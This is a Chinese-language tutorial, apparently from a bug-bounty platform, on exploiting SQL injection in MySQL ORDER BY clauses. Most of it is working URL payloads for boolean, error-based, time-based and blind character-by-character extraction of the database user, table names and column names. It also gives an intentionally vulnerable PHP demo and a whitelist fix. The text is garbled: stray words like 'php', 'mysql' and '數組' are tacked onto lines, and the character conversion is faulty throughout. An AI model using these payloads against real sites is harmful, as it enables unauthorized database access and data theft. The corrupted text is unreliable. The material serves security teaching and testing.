最近在作一些漏洞盒子後臺項目的總結,在盒子衆多衆測項目中,注入類的漏洞佔比一直較大。其中Order By注入型的漏洞也佔挺大一部分比例,這類漏洞也是白帽子樂意提交的類型(獎金高、被過濾概覽小)。今天給你們分享下一些關於Order By的有趣的經驗。php
本文討論的內容指可控制的位置在order by子句後,以下order參數可控:select * from goods order by $_GET['order']html
在早期注入大量存在的時候,利用order by
子句進行快速猜解表中的列數,再配合union select
語句進行回顯。在測試時,測試者能夠經過修改order
參數值,好比調整爲較大的整型數,再依據回顯狀況來判斷具體表中包含的列數。前端
在不知道列名的狀況下能夠經過列的的序號來指代相應的列。可是通過測試這裏沒法作運算,如order=3-1
和order=2
是不同的。mysql
http://192.168.239.2:81/?order=11 錯誤 http://192.168.239.2:81/?order=1 正常
前面的判斷並非絕對的,咱們須要構造出相似and 1=1
、and 1=2
的Payload以便於注入出數據。正則表達式
/?order=IF(1=1,name,price) 經過name字段排序 /?order=IF(1=2,name,price) 經過price字段排序
/?order=(CASE+WHEN+(1=1)+THEN+name+ELSE+price+END) 經過name字段排序 /?order=(CASE+WHEN+(1=2)+THEN+name+ELSE+price+END) 經過price字段排序
/?order=IFNULL(NULL,price) 經過price字段排序 /?order=IFNULL(NULL,name) 經過name字段排序
另外利用rand
函數也能達到相似的效果,能夠觀測到排序的結果不同sql
/?order=rand(1=1) /?order=rand(1=2)
在有些狀況下沒法知道列名,並且也不太直觀的去判斷兩次請求的差異,以下用IF語句爲例。數據庫
/?order=IF(1=1,1,(select+1+union+select+2)) 正確 /?order=IF(1=2,1,(select+1+union+select+2)) 錯誤
/?order=IF(1=1,1,(select+1+from+information_schema.tables)) 正常 /?order=IF(1=2,1,(select+1+from+information_schema.tables)) 錯誤
/?order=(select+1+regexp+if(1=1,1,0x00)) 正常 /?order=(select+1+regexp+if(1=2,1,0x00)) 錯誤
/?order=updatexml(1,if(1=1,1,user()),1) 正確 /?order=updatexml(1,if(1=2,1,user()),1) 錯誤
/?order=extractvalue(1,if(1=1,1,user())) 正確 /?order=extractvalue(1,if(1=2,1,user())) 錯誤
注意若是直接if(1=2,1,SLEEP(2))
,sleep時間將會變成2當前表中記錄的數目,還有好比執行BENCHMARK(1000000,100100)
;等函數,將會對服務器形成必定的拒絕服務攻擊。json
/?order=if(1=1,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test)) 正常響應時間 /?order=if(1=2,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test)) sleep 2秒
以猜解user()
即root@localhost
爲例子,因爲只能一位一位猜解,能夠利用SUBSTR
,SUBSTRING
,MID
,以及left
和right
能夠精準分割出每一位子串。而後就是比較操做了能夠利用=
,like
,regexp
等。這裏要注意like
是不區分大小寫。後端
經過下能夠得知user()
第一位爲r
,ascii
碼的16進製爲0x72
:數組
/?order=(select+1+regexp+if(substring(user(),1,1)=0x72,1,0x00)) 正確 /?order=(select+1+regexp+if(substring(user(),1,1)=0x71,1,0x00)) 錯誤
/?order=(select+1+regexp+if(substring((select+concat(table_name)from+information_schema.tables+where+table_schema%3ddatabase()+limit+0,1),1,1)=0x67,1,0x00)) 正確 /?order=(select+1+regexp+if(substring((select+concat(table_name)from+information_schema.tables+where+table_schema%3ddatabase()+limit+0,1),1,1)=0x66,1,0x00)) 錯誤
/?order=(select+1+regexp+if(substring((select+concat(column_name)from+information_schema.columns+where+table_schema%3ddatabase()+and+table_name%3d0x676f6f6473+limit+0,1),1,1)=0x69,1,0x00)) 正常 /?order=(select+1+regexp+if(substring((select+concat(column_name)from+information_schema.columns+where+table_schema%3ddatabase()+and+table_name%3d0x676f6f6473+limit+0,1),1,1)=0x68,1,0x00)) 錯誤
在沒有過濾的狀況下是可以檢測到注入的,以下圖:
<?php error_reporting(0); session_start(); mysql_connect("127.0.0.1", "root", "root") or die("Database connection failed "); mysql_select_db("sqlidemo") or die("Select database failed"); $order = $_GET['order'] ? $_GET['order'] : 'name'; $sql = "select id,name,price from goods order by $order"; $result = mysql_query($sql); $reslist = array(); while($row = mysql_fetch_array($result, MYSQL_ASSOC)) { array_push($reslist, $row); } echo json_encode($reslist); create database sqlidemo;
use sqlidemo; create table goods (id int(4) not null primary key auto_increment, name char(32) not null, price int(4) not null); insert into goods (name, price) values("apple", 10); insert into goods (name, price) values("banana", 15); insert into goods (name, price) values("peach", 20);
這個問題的是因爲攻擊者經過測試,瞭解到應用程序對數據對象進行了直接引用。該類問題能夠概括到OWASP-2013中A4(不安全的對象直接引用)。常見的修復方法以下:
<?php $orderby_whitelist = array( "apple" => "apple ASC", "applerev" => "apple DESC", "daterev" => "banana DESC", "DEFAULT" => "peach" ); $order = isset($_GET["order"]) ? $_GET["order"] : "DEFAULT"; $order_expr = array_key_exists($order, $orderby_whitelist) ? $orderby_whitelist[$order] : $orderby_whitelist["DEFAULT"]; mysql_query("SELECT ... FROM ... ORDER BY $order_expr");
http://xdxd.love/2016/03/07/order-by%E6%B3%A8%E5%85%A5%E7%82%B9%E5%88%A9%E7%94%A8%E6%96%B9%E5%BC%8F/
https://dev.mysql.com/doc/refman/5.7/en/control-flow-functions.html
https://dev.mysql.com/doc/refman/5.7/en/string-functions.html